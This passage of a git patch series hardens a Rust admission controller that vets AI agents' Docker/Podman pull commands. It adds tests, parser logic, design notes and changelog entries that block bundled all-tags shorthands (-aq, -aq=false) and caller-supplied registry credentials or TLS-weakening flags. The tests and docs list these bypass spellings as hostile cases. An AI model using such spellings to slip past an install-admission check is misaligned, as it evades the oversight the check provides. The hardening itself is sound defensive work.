https://doi.org/10.6028/NIST.SP.800-218 Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html -Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository. Podman documents the equivalent option as pulling all tagged images in the repository. Those semantics are the reason this option is treated as artifact-set authority rather than harmless client presentation detail. +Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository and its CLI reference documents explicit assignment syntax for Boolean options. Podman documents the equivalent all-tags option as pulling all tagged images and documents explicit true/false assignment semantics for Boolean pull options such as TLS verification. Those semantics are why assigned true all-tags forms are treated as artifact-set authority rather than harmless presentation detail. From a1105c5de234e8750ce3c9b4036de1669a67b818 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:03:29 +0900 Subject: [PATCH 161/247] test(security): reject bundled OCI all-tags shorthands --- crates/agent-artifact-admission/tests/oci_all_tags_contract.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index adaf99e1..82fb8dec 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -18,6 +18,8 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { "--all-tags=TRUE", "-a=true", "-a=1", + "-aq", + "-qa", ] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); From f35db9e712b243bd6e8cff9125aaa968b9d12362 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:04:56 +0900 Subject: [PATCH 162/247] fix(security): parse bundled OCI all-tags shorthand --- .../src/artifact_variant.rs | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index f4033457..b52702e6 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -18,6 +18,7 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - arguments.iter().any(|argument| { argument == "--all-tags" || argument == "-a" + || requests_all_tags_short_bundle(argument) || argument .strip_prefix("--all-tags=") .is_some_and(is_true_boolean) @@ -34,6 +35,21 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - }) } +/// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as +/// Boolean pull shorthands. Their pflag-style parsers permit Boolean shorthand +/// flags to be bundled, so `-aq` and `-qa` carry the same repository-expansion +/// authority as a bare `-a` and must fail closed. +fn requests_all_tags_short_bundle(argument: &str) -> bool { + let Some(bundle) = argument.strip_prefix('-') else { + return false; + }; + if bundle.starts_with('-') || bundle.contains('=') || bundle.chars().count() < 2 { + return false; + } + + bundle.contains('a') && bundle.chars().all(|flag| matches!(flag, 'a' | 'q')) +} + fn is_true_boolean(value: &str) -> bool { matches!( value.to_ascii_lowercase().as_str(), From 897a790baf89347778a27dbb1356aaf2d002e032 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:06:00 +0900 Subject: [PATCH 163/247] test(security): preserve quiet-only OCI pulls --- .../tests/oci_all_tags_contract.rs | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index 82fb8dec..f9c59d25 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -60,6 +60,24 @@ fn explicit_false_all_tags_assignment_preserves_exact_digest_admission() { } } +#[test] +fn quiet_shorthand_without_all_tags_preserves_exact_digest_admission() { + for executable in ["docker", "podman"] { + for quiet_flag in ["-q", "-qq"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, quiet_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} {quiet_flag} changes presentation only and must not be confused with repository-wide expansion" + ); + } + } +} + fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); let artifact = ArtifactCoordinate { From 5b7fd581aa53bcf4cea48f13d088fb608a2b442f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:06:24 +0900 Subject: [PATCH 164/247] docs(security): trace bundled OCI shorthand authority --- docs/doctoring/oci-repository-pull-cardinality.md | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md index fa55259a..327df741 100644 --- a/docs/doctoring/oci-repository-pull-cardinality.md +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -6,11 +6,15 @@ Agent Artifact Admission authorizes exact reviewed OCI artifact coordinates, inc A follow-up hostile case found the first repair was syntactically incomplete. Boolean CLI options can also be supplied as assignments, including `--all-tags=true` and short-form assignments such as `-a=true`. The exact-token predicate rejected bare `-a` / `--all-tags` but did not classify assigned true forms, so the same artifact-set expansion authority could escape the admission boundary while the reviewed digest operand still matched policy. +A second follow-up found another parser-level spelling. Docker currently defines both `all-tags` (`-a`) and `quiet` (`-q`) as Boolean pull flags, and Podman documents the same two shorthands. The pflag command-line grammar used by Cobra-style Go CLIs permits Boolean shorthand flags to be combined in a single token. Therefore `-aq` and `-qa` retain `-a`'s repository-expansion authority even though neither token equals the previously rejected bare or assignment forms. Admission must interpret that semantic shorthand bundle rather than treating structured argv as an opaque string list. + This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. ## Decision -For Docker and Podman `pull`, bare `-a` / `--all-tags` and assigned true spellings are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. +For Docker and Podman `pull`, bare `-a` / `--all-tags`, assigned true spellings, and Boolean shorthand bundles composed from the documented pull shorthands that contain `a` are rejected as `artifact_not_approved`. The current bounded parser recognizes `a` and `q`: `-aq`/`-qa` are denied while `-q`/`-qq` remain presentation-only and admissible. This keeps the repair causal rather than attempting to reimplement the complete provider CLI grammar. + +The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. @@ -21,6 +25,9 @@ The decision is fail-closed until Wardnet has a versioned policy aggregate capab - Follow-up RED `883d1d37e05b0ccd9d30b2c1b25fd7d53c6fc8d8`: the hostile contract adds assigned true forms that the exact-token predicate did not reject. - Causal GREEN `e9e07e696c013dab88df6a5a6dc1be8306b9b688`: the predicate recognizes true Boolean assignments without treating explicit false assignments as repository expansion. - Coverage refinement `2207a6f79522dc8b6cb95e817be648bb6ef9a7f3`: exercises Docker/Podman long/short assigned true spellings and the explicit-false non-regression boundary. +- Bundled-shorthand RED `a1105c5de234e8750ce3c9b4036de1669a67b818`: hostile Docker/Podman `-aq` and `-qa` cases expose that exact-token/assignment matching still permits the `all-tags` capability when combined with the Boolean `quiet` shorthand. +- Causal GREEN `f35db9e712b243bd6e8cff9125aaa968b9d12362`: the artifact-variant boundary recognizes documented Boolean `a`/`q` shorthand bundles containing `a` without broadening Wardnet into an OCI CLI implementation. +- Non-regression coverage `897a790baf89347778a27dbb1356aaf2d002e032`: proves quiet-only `-q`/`-qq` remains allowed for an otherwise exact approved digest. - Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. ## Threat effect @@ -37,4 +44,6 @@ National Institute of Standards and Technology. (2022). *Secure Software Develop Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html -Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository and its CLI reference documents explicit assignment syntax for Boolean options. Podman documents the equivalent all-tags option as pulling all tagged images and documents explicit true/false assignment semantics for Boolean pull options such as TLS verification. Those semantics are why assigned true all-tags forms are treated as artifact-set authority rather than harmless presentation detail. +spf13 contributors. (2026). *pflag: Command-line flag syntax*. GitHub. https://github.com/spf13/pflag + +Primary command/parser references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` and `-q, --quiet` as Boolean pull options, with `all-tags` expanding the request to all tagged images. Podman documents the equivalent `-a` and `-q` pull options. pflag documents that Boolean shorthand flags can be combined and that single-dash tokens may represent a series of shorthand letters. Those semantics are why bundled all-tags spellings are treated as artifact-set authority rather than harmless presentation detail. From f75817e141e15dad3dc57e5e21e4e2511d7fafd7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:06:40 +0900 Subject: [PATCH 165/247] docs(changelog): record OCI shorthand hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e93cf264..ae28a21f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. -- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags` fail closed as `artifact_not_approved` because the clients define those switches as repository-wide mutable tag expansion rather than one pinned digest request. +- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand forms such as `-aq` / `-qa` fail closed as `artifact_not_approved` because they request repository-wide mutable tag expansion rather than one pinned digest. Quiet-only shorthand remains admissible. - Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. @@ -15,4 +15,4 @@ ### Operations - Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From dd6b9309034a3f14f534d2eb0f81a9a49b32bfdd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:09:48 +0900 Subject: [PATCH 166/247] test(security): cover assigned OCI shorthand bundles --- .../agent-artifact-admission/tests/oci_all_tags_contract.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index f9c59d25..a34c3047 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -20,6 +20,8 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { "-a=1", "-aq", "-qa", + "-aq=false", + "-aq=0", ] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); @@ -45,7 +47,7 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { #[test] fn explicit_false_all_tags_assignment_preserves_exact_digest_admission() { for executable in ["docker", "podman"] { - for all_tags_flag in ["--all-tags=false", "-a=0"] { + for all_tags_flag in ["--all-tags=false", "-a=0", "-qa=false", "-qa=0"] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); From 0f6a02a0b2dcdddd96e35f137923eefa27f8c8f2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:10:09 +0900 Subject: [PATCH 167/247] fix(security): honor assigned OCI shorthand semantics --- .../src/artifact_variant.rs | 29 +++++++++++++++---- 1 file changed, 24 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index b52702e6..f261c37d 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -36,18 +36,37 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - } /// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as -/// Boolean pull shorthands. Their pflag-style parsers permit Boolean shorthand -/// flags to be bundled, so `-aq` and `-qa` carry the same repository-expansion -/// authority as a bare `-a` and must fail closed. +/// Boolean pull shorthands. Their pflag-style parsers permit shorthand bundles; +/// every non-final Boolean shorthand is enabled while an attached assignment +/// belongs to the final shorthand. Thus `-aq=false` still enables `-a`, whereas +/// `-qa=false` leaves `-a` disabled. fn requests_all_tags_short_bundle(argument: &str) -> bool { let Some(bundle) = argument.strip_prefix('-') else { return false; }; - if bundle.starts_with('-') || bundle.contains('=') || bundle.chars().count() < 2 { + if bundle.starts_with('-') { return false; } - bundle.contains('a') && bundle.chars().all(|flag| matches!(flag, 'a' | 'q')) + let (shorthands, assigned_value) = match bundle.split_once('=') { + Some(parts) => parts, + None => (bundle, ""), + }; + if shorthands.chars().count() < 2 + || !shorthands.chars().all(|flag| matches!(flag, 'a' | 'q')) + { + return false; + } + + let mut flags = shorthands.chars(); + let Some(last_flag) = flags.next_back() else { + return false; + }; + if flags.any(|flag| flag == 'a') { + return true; + } + + last_flag == 'a' && (assigned_value.is_empty() || is_true_boolean(assigned_value)) } fn is_true_boolean(value: &str) -> bool { From 578e4930134d4479c8a2f2f79a0d70da3e28f92c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:10:42 +0900 Subject: [PATCH 168/247] docs(security): trace assigned OCI shorthand semantics --- docs/doctoring/oci-repository-pull-cardinality.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md index 327df741..6092f976 100644 --- a/docs/doctoring/oci-repository-pull-cardinality.md +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -8,13 +8,15 @@ A follow-up hostile case found the first repair was syntactically incomplete. Bo A second follow-up found another parser-level spelling. Docker currently defines both `all-tags` (`-a`) and `quiet` (`-q`) as Boolean pull flags, and Podman documents the same two shorthands. The pflag command-line grammar used by Cobra-style Go CLIs permits Boolean shorthand flags to be combined in a single token. Therefore `-aq` and `-qa` retain `-a`'s repository-expansion authority even though neither token equals the previously rejected bare or assignment forms. Admission must interpret that semantic shorthand bundle rather than treating structured argv as an opaque string list. +A third hostile case exercised an assignment on the final shorthand in a bundle. In pflag grammar, every non-final Boolean shorthand is enabled and an attached value belongs to the final shorthand. Consequently `-aq=false` still enables `-a` before assigning `false` to `-q`, while `-qa=false` assigns `false` to the final `-a` and leaves repository expansion disabled. A security predicate that rejects every assigned bundle as malformed would miss the first case; one that rejects every bundle containing `a` would create a false positive for the second. + This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. ## Decision -For Docker and Podman `pull`, bare `-a` / `--all-tags`, assigned true spellings, and Boolean shorthand bundles composed from the documented pull shorthands that contain `a` are rejected as `artifact_not_approved`. The current bounded parser recognizes `a` and `q`: `-aq`/`-qa` are denied while `-q`/`-qq` remain presentation-only and admissible. This keeps the repair causal rather than attempting to reimplement the complete provider CLI grammar. +For Docker and Podman `pull`, bare `-a` / `--all-tags`, assigned true spellings, and Boolean shorthand bundles whose effective semantics enable `a` are rejected as `artifact_not_approved`. The current bounded parser recognizes the documented pull shorthands `a` and `q` and applies pflag's final-shorthand assignment rule: `-aq`, `-qa`, `-aq=false`, and `-aq=0` are denied; `-q`, `-qq`, `-qa=false`, and `-qa=0` remain admissible. This keeps the repair causal rather than attempting to reimplement the complete provider CLI grammar. -The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. +The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible only when they actually leave `all-tags` disabled. No new public reason code or provider-specific transport abstraction is introduced. The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. @@ -28,6 +30,8 @@ The decision is fail-closed until Wardnet has a versioned policy aggregate capab - Bundled-shorthand RED `a1105c5de234e8750ce3c9b4036de1669a67b818`: hostile Docker/Podman `-aq` and `-qa` cases expose that exact-token/assignment matching still permits the `all-tags` capability when combined with the Boolean `quiet` shorthand. - Causal GREEN `f35db9e712b243bd6e8cff9125aaa968b9d12362`: the artifact-variant boundary recognizes documented Boolean `a`/`q` shorthand bundles containing `a` without broadening Wardnet into an OCI CLI implementation. - Non-regression coverage `897a790baf89347778a27dbb1356aaf2d002e032`: proves quiet-only `-q`/`-qq` remains allowed for an otherwise exact approved digest. +- Assigned-bundle RED `dd6b9309034a3f14f534d2eb0f81a9a49b32bfdd`: proves `-aq=false` / `-aq=0` still enable the preceding all-tags shorthand while `-qa=false` / `-qa=0` must remain admissible because their final all-tags shorthand is explicitly false. +- Causal GREEN `0f6a02a0b2dcdddd96e35f137923eefa27f8c8f2`: the bounded parser applies the final-shorthand assignment rule and blocks only bundles whose effective semantics enable `a`. - Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. ## Threat effect @@ -46,4 +50,4 @@ Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.p spf13 contributors. (2026). *pflag: Command-line flag syntax*. GitHub. https://github.com/spf13/pflag -Primary command/parser references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` and `-q, --quiet` as Boolean pull options, with `all-tags` expanding the request to all tagged images. Podman documents the equivalent `-a` and `-q` pull options. pflag documents that Boolean shorthand flags can be combined and that single-dash tokens may represent a series of shorthand letters. Those semantics are why bundled all-tags spellings are treated as artifact-set authority rather than harmless presentation detail. +Primary command/parser references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` and `-q, --quiet` as Boolean pull options, with `all-tags` expanding the request to all tagged images. Podman documents the equivalent `-a` and `-q` pull options. pflag documents that Boolean shorthand flags can be combined, that all but the last shorthand must be Boolean, and that the final shorthand may take an attached value. Those semantics are why Wardnet evaluates the effective bundled flag state rather than classifying tokens by spelling alone. From 73098781acf2214df4b2fb54742152cf3d1a02a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:12:24 +0900 Subject: [PATCH 169/247] docs(changelog): record assigned OCI shorthand semantics --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ae28a21f..2a2b9913 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. -- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand forms such as `-aq` / `-qa` fail closed as `artifact_not_approved` because they request repository-wide mutable tag expansion rather than one pinned digest. Quiet-only shorthand remains admissible. +- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 400c53265f21d684ab06232536b50341b5d524c0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:37:08 +0900 Subject: [PATCH 170/247] test(admission): reject caller-selected OCI registry credentials --- .../tests/oci_transport_trust_contract.rs | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index ab13af33..6408b868 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -51,6 +51,45 @@ fn podman_cannot_select_an_unreviewed_registry_certificate_directory() { ); } +#[test] +fn podman_cannot_select_an_unreviewed_registry_auth_file() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert( + 2, + "--authfile=/tmp/agent-controlled-registry-auth.json".to_string(), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected registry authentication files must not become admission authority" + ); +} + +#[test] +fn podman_cannot_supply_registry_credentials_from_untrusted_argv() { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, "--creds=agent-user:synthetic-secret".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "untrusted argv must not choose the registry principal used to retrieve an approved artifact" + ); +} + #[test] fn explicit_tls_verification_true_does_not_weaken_the_reviewed_registry_trust() { let (policy, mut intent) = approved_podman_pull(); From 3eade5d41c50d1ad4e48118014c50acf5d8f3793 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:37:21 +0900 Subject: [PATCH 171/247] fix(admission): deny OCI registry credential overrides --- crates/agent-artifact-admission/src/oci_transport.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/oci_transport.rs b/crates/agent-artifact-admission/src/oci_transport.rs index dc278280..faa0fb37 100644 --- a/crates/agent-artifact-admission/src/oci_transport.rs +++ b/crates/agent-artifact-admission/src/oci_transport.rs @@ -1,7 +1,7 @@ use crate::InstallIntent; /// Return whether a Podman pull asks the caller to replace or disable the -/// registry TLS trust represented by the reviewed artifact policy. +/// registry transport or authentication trust represented by reviewed policy. pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -18,6 +18,10 @@ pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> arguments.iter().skip(1).any(|argument| { argument == "--cert-dir" || argument.starts_with("--cert-dir=") + || argument == "--authfile" + || argument.starts_with("--authfile=") + || argument == "--creds" + || argument.starts_with("--creds=") || argument .strip_prefix("--tls-verify=") .is_some_and(is_false_boolean) From bd9d2104d898f567895cfb67f7abdc087c6e259b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:37:43 +0900 Subject: [PATCH 172/247] docs(security): trace OCI registry authentication authority --- docs/doctoring/oci-registry-tls-trust.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/docs/doctoring/oci-registry-tls-trust.md b/docs/doctoring/oci-registry-tls-trust.md index 05ec944a..3f72ad8e 100644 --- a/docs/doctoring/oci-registry-tls-trust.md +++ b/docs/doctoring/oci-registry-tls-trust.md @@ -1,27 +1,28 @@ -# OCI registry TLS trust authority +# OCI registry transport and authentication trust authority -Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening or certificate-directory replacement. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. +Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening, certificate replacement, or registry-principal overrides. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. ## Problem -An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport options that can change how that registry identity is authenticated. Current Podman documentation states that `--tls-verify=false` disables certificate verification when contacting registries and that `--cert-dir=path` selects certificates used to connect to the registry. +An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport and authentication options that can change how that registry is reached and which principal is used. Current Podman documentation states that `--tls-verify=false` disables certificate verification, `--cert-dir=path` selects certificates used to connect to the registry, `--authfile=path` selects registry authentication state, and `--creds=username[:password]` supplies the registry principal directly. -Before this repair, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST` or `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken or 